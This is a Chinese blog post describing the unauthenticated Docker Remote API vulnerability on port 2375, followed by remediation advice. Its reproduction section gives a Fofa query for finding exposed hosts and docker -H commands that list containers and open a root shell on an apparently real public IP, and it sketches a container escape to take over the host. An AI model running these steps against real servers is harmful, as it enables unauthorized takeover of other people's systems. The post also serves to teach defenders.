Docker Remote APl未授权访问漏洞

Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的LINUX机器上,也可以实现虚拟化。
Docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,由docker官方提供。

漏洞信息

Docker Remote API如配置不当可导致未授权访问,被攻击者恶意利用。攻击者无需认证即可访问到Docker数据,可能导致敏感信息泄露,黑客也可以删除 Docker上的数据,直接访问宿主机上的敏感言息,或对敏感文件进行修改,最终完全控制服务器。
漏洞复现
步骤一:使用以下Fofa语句对Docker产品进行搜索.

port="2375" 

步骤二:直接使用浏览器访问以下路径

http://ip:2375/version   #查看版本信息

http://ip:2375/info    #查看容器信息 

 

 

步骤三:使用-H参数连接目标主机的docker,使用ps命令查询目标系统运行的镜像。

docker -H tcp://51.77.151.198:2375 ps

docker -H tcp://51.77.151.198:2375 version

docker -H tcp://51.77.151.198:2375 exec -it 1f4 /bin/bash

操作思路:
docker pull下载有Docker逃逸的容器下来docker逃逸间接获取安装docker主机控制权限 

 

 漏洞修复

1.端口访问控制
对2375端口做网络访问控制,如设置iptables策略仅允许指定的IP来访问Docker接口。
2.使用TLS认证
修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure DockerSwarm for TLS这两篇文档,说的是配置好TLS后,Docker CLl 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值